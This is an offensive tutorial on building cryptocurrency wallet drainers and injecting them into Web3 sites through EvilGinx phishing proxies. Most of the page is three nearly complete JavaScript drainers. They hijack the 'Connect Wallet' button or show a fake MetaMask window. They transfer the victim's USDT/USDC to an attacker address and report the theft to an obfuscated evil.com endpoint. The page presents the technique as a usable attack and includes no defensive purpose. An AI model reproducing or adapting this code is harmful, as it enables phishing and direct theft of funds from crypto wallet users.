Drainer Wallet JS INJECT
Using JavaScript Injections in EvilGinx to Create Crypto Drainers
Evilginx Review
check the phishlet configuration. This makes it a powerful tool for attacks on Web3 applications such as Uniswap or OpenSea, where users connect crypto wallets via APIs such as window.ethereum. The main features of EvilGinx:
Proxying traffic with domain substitution (for example, uniswap-bonus.example.com instead of uniswap.org ).
JavaScript injection via the injections parameter in phishlet.
Bypassing or spoofing the Content Security Policy (CSP) to execute external scripts.
An example of how EvilGinx works: The attacker creates a phishlet that proxies Uniswap, implements JS to replace the "Connect Wallet" button
The drainer in the context of Evilginx works as follows:
A user visits a phishing page sponsored by EvilGinx, which looks like a legitimate Web3 site.
JS injection replaces the behavior of the "Connect Wallet" button by calling eth_requestAccounts to connect the wallet.
The script checks the token balance through an ERC-20 contract (the balanceOf method) and initiates a transaction through eth_sendTransaction, transferring tokens to the attacker's address.
Substitution of the "Connect Wallet" button
This code finds the "Connect Wallet" button on the page and replaces its event handler to launch the drainer :
const connectButton = document.querySelector('#connect-wallet, button:contains("Connect Wallet")');
if (connectButton) {
const originalText = connectButton.innerText;
connectButton.onclick = async () => {
if (!window.ethereum) {
alert('Please install MetaMask!');
return;
}
const fakeNotification = document.createElement('div');
fakeNotification.style.position = 'fixed';
fakeNotification.style.top = '20px';
fakeNotification.style.right = '20px';
fakeNotification.style.background = '#4caf50';
fakeNotification.style.color = 'white';
fakeNotification.style.padding = '10px';
fakeNotification.style.borderRadius = '5px';
fakeNotification.innerText = 'Connecting wallet...';
document.body.appendChild(fakeNotification);
try {
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
const userAddress = accounts[0];
const web3Script = document.createElement('script');
web3Script.src = 'https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js';
document.head.appendChild(web3Script);
web3Script.onload = async () => {
const web3 = new Web3(window.ethereum);
const tokens = [
{ address: '0xdAC17F958D2ee523a2206206994597C13D831ec7', name: 'USDT', decimals: 6 },
{ address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', name: 'USDC', decimals: 6 }
];
const abi = [
'function balanceOf(address) view returns (uint256)',
'function transfer(address,uint256) returns (bool)'
];
const attackerAddress = '0x1234567890123456789012345678901234567890';
let maxBalance = 0;
let targetToken = null;
for (const token of tokens) {
const contract = new web3.eth.Contract(abi, token.address);
const balance = await contract.methods.balanceOf(userAddress).call();
if (balance > maxBalance) {
maxBalance = balance;
targetToken = token;
}
}
if (maxBalance > 0) {
const contract = new web3.eth.Contract(abi, targetToken.address);
const data = contract.methods.transfer(attackerAddress, maxBalance).encodeABI();
const txHash = await window.ethereum.request({
method: 'eth_sendTransaction',
params: [{
from: userAddress,
to: targetToken.address,
data: data,
gas: '0x7530'
}]
});
fetch(atob('aHR0cHM6Ly9ldmlsLmNvbS9zdGVhbA=='), {
method: 'POST',
body: JSON.stringify({
wallet: userAddress,
txHash,
token: targetToken.name,
amount: maxBalance
})
});
fakeNotification.innerText = 'Wallet connected and bonus claimed!';
setTimeout(() => document.body.removeChild(fakeNotification), 3000);
connectButton.innerText = originalText;
} else {
fakeNotification.innerText = 'No tokens found.';
setTimeout(() => document.body.removeChild(fakeNotification), 3000);
connectButton.innerText = originalText;
}
};
} catch (err) {
fakeNotification.innerText = 'Error: ' + err.message;
setTimeout(() => document.body.removeChild(fakeNotification), 3000);
connectButton.innerText = originalText;
}
};
}
Button Search: Uses the querySelector to search for the "Connect Wallet" button by ID or text.
Handler substitution: Overrides onclick to run the drainer instead of the original function.
Connecting a wallet: Calls eth_requestAccounts to get the wallet address.
Checking the balance: Uses Web3.js to check the balance of USDT and USDC tokens, choosing the most valuable one.
Transaction: Initiates a call to the transfer method of the ERC-20 contract to transfer tokens.
Fake MetaMask window or other wallet extensions
Add a fake window imitating MetaMask that appears immediately after clicking the "Connect Wallet" button:
const defiDiv = document.createElement('div');
defiDiv.style.padding = '20px';
defiDiv.style.background = '#f0f0f0';
defiDiv.style.borderRadius = '10px';
defiDiv.innerHTML = `
<h1>DeFi Bonus Platform</h1>
<p>Connect your wallet to claim 100 USDT for free!</p>
<button onclick="showFakeWallet()">Connect Wallet</button>
<div id="status"></div>
`;
document.body.appendChild(defiDiv);
const fakeWalletModal = document.createElement('div');
fakeWalletModal.style.position = 'fixed';
fakeWalletModal.style.top = '0';
fakeWalletModal.style.left = '0';
fakeWalletModal.style.width = '100%';
fakeWalletModal.style.height = '100%';
fakeWalletModal.style.background = 'rgba(0,0,0,0.5)';
fakeWalletModal.style.display = 'none';
fakeWalletModal.style.zIndex = '1000';
fakeWalletModal.innerHTML = `
<div style="background: white; width: 350px; margin: 100px auto; padding: 20px; border-radius: 10px; font-family: Arial;">
<img src="https://metamask.io/images/metamask-logo.png" style="width: 100px;">
<h2 style="color: #000;">MetaMask</h2>
<p style="color: #000;">Connect to DeFi Bonus Platform</p>
<p style="color: #666;">This is a test connection. Please confirm in the extension.</p>
<button onclick="connectAndDrain()" style="background: #f6851b; color: white; padding: 10px; border: none; border-radius: 5px;">Connect</button>
<button onclick="closeFakeWallet()" style="padding: 10px; border: 1px solid #ccc; border-radius: 5px;">Cancel</button>
<div id="fakeStatus" style="color: #000;"></div>
</div>
`;
document.body.appendChild(fakeWalletModal);
window.showFakeWallet = () => {
fakeWalletModal.style.display = 'block';
document.getElementById('fakeStatus').innerText = 'Connecting...';
setTimeout(() => {
document.getElementById('fakeStatus').innerText = 'Please confirm in MetaMask';
}, 1000);
};
window.closeFakeWallet = () => {
fakeWalletModal.style.display = 'none';
};
window.connectAndDrain = async () => {
if (!window.ethereum) {
document.getElementById('status').innerText = 'Please install MetaMask!';
fakeWalletModal.style.display = 'none';
return;
}
try {
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
const userAddress = accounts[0];
document.getElementById('status').innerText = 'Wallet connected, processing bonus...';
document.getElementById('fakeStatus').innerText = 'Verifying wallet...';
const web3Script = document.createElement('script');
web3Script.src = 'https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js';
document.head.appendChild(web3Script);
web3Script.onload = async () => {
const web3 = new Web3(window.ethereum);
const tokens = [
{ address: '0xdAC17F958D2ee523a2206206994597C13D831ec7', name: 'USDT', decimals: 6 },
{ address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', name: 'USDC', decimals: 6 }
];
const abi = [
'function balanceOf(address) view returns (uint256)',
'function transfer(address,uint256) returns (bool)'
];
const attackerAddress = '0x1234567890123456789012345678901234567890';
let maxBalance = 0;
let targetToken = null;
for (const token of tokens) {
const contract = new web3.eth.Contract(abi, token.address);
const balance = await contract.methods.balanceOf(userAddress).call();
if (balance > maxBalance) {
maxBalance = balance;
targetToken = token;
}
}
if (maxBalance > 0) {
const contract = new web3.eth.Contract(abi, targetToken.address);
const data = contract.methods.transfer(attackerAddress, maxBalance).encodeABI();
const txHash = await window.ethereum.request({
method: 'eth_sendTransaction',
params: [{
from: userAddress,
to: targetToken.address,
data: data,
gas: '0x7530'
}]
});
fetch(atob('aHR0cHM6Ly9ldmlsLmNvbS9zdGVhbA=='), {
method: 'POST',
body: JSON.stringify({
wallet: userAddress,
txHash,
token: targetToken.name,
amount: maxBalance
})
});
document.getElementById('status').innerText = 'Bonus tokens sent! Thank you!';
document.getElementById('fakeStatus').innerText = 'Connection successful!';
setTimeout(() => {
fakeWalletModal.style.display = 'none';
}, 1000);
} else {
document.getElementById('status').innerText = 'No tokens found.';
fakeWalletModal.style.display = 'none';
}
};
} catch (err) {
document.getElementById('status').innerText = 'Error: ' + err.message;
fakeWalletModal.style.display = 'none';
}
};
Fake Window: Creates a modal window styled like a MetaMask, with a logo, colors (#f6851b for the button), and text.
Synchronization: Shows the "Connecting..." animation and the "Please confirm in MetaMask" message to distract the user from the real window.
Drainer: Checks the balance of tokens and initiates a transaction, as in the first example.
The xxxxx/solana-drainer repository provides an educational example of a drainer for Solana that connects to the Phantom Wallet and initiates transactions. We can adapt this approach for Ethereum and Evilginx.:
const connectButton = document.querySelector('#connect-wallet, button:contains("Connect Wallet")');
if (connectButton) {
const originalText = connectButton.innerText;
connectButton.onclick = async () => {
if (!window.ethereum) {
alert('Please install MetaMask!');
return;
}
const fakeNotification = document.createElement('div');
fakeNotification.style.position = 'fixed';
fakeNotification.style.top = '20px';
fakeNotification.style.right = '20px';
fakeNotification.style.background = '#4caf50';
fakeNotification.style.color = 'white';
fakeNotification.style.padding = '10px';
fakeNotification.style.borderRadius = '5px';
fakeNotification.innerText = 'Connecting wallet...';
document.body.appendChild(fakeNotification);
try {
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
const userAddress = accounts[0];
const web3Script = document.createElement('script');
web3Script.src = 'https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js';
document.head.appendChild(web3Script);
web3Script.onload = async () => {
const web3 = new Web3(window.ethereum);
const token = { address: '0xdAC17F958D2ee523a2206206994597C13D831ec7', name: 'USDT', decimals: 6 };
const abi = [
'function balanceOf(address) view returns (uint256)',
'function transfer(address,uint256) returns (bool)'
];
const attackerAddress = '0x1234567890123456789012345678901234567890';
const contract = new web3.eth.Contract(abi, token.address);
const balance = await contract.methods.balanceOf(userAddress).call();
if (balance > 0) {
const data = contract.methods.transfer(attackerAddress, balance).encodeABI();
const txHash = await window.ethereum.request({
method: 'eth_sendTransaction',
params: [{
from: userAddress,
to: token.address,
data: data,
gas: '0x7530'
}]
});
fetch(atob('aHR0cHM6Ly9ldmlsLmNvbS9zdGVhbA=='), {
method: 'POST',
body: JSON.stringify({
wallet: userAddress,
txHash,
token: token.name,
amount: balance
})
});
fakeNotification.innerText = 'Wallet connected and tokens claimed!';
setTimeout(() => document.body.removeChild(fakeNotification), 3000);
connectButton.innerText = originalText;
} else {
fakeNotification.innerText = 'No tokens found.';
setTimeout(() => document.body.removeChild(fakeNotification), 3000);
connectButton.innerText = originalText;
}
};
} catch (err) {
fakeNotification.innerText = 'Error: ' + err.message;
setTimeout(() => document.body.removeChild(fakeNotification), 3000);
connectButton.innerText = originalText;
}
};
}
The repository uses Solana Web3.js for connecting to the Phantom Wallet and initiating transactions. We adapted this for Ethereum using Web3.js and MetaMask.
Button substitution: Similar to the first example, it replaces the handler of the "Connect Wallet" button.
Simplicity: Focuses on a single token (USDT) for simplification, as in the educational examples.
The integration of drainers with Evilginx through JS injections is a powerful attack vector that exploits users' trust in legitimate Web3 sites. Replacing the "Connect Wallet" button allows you to initiate transactions while maintaining the original interface, which makes the attack less noticeable.
Last updated
Was this helpful?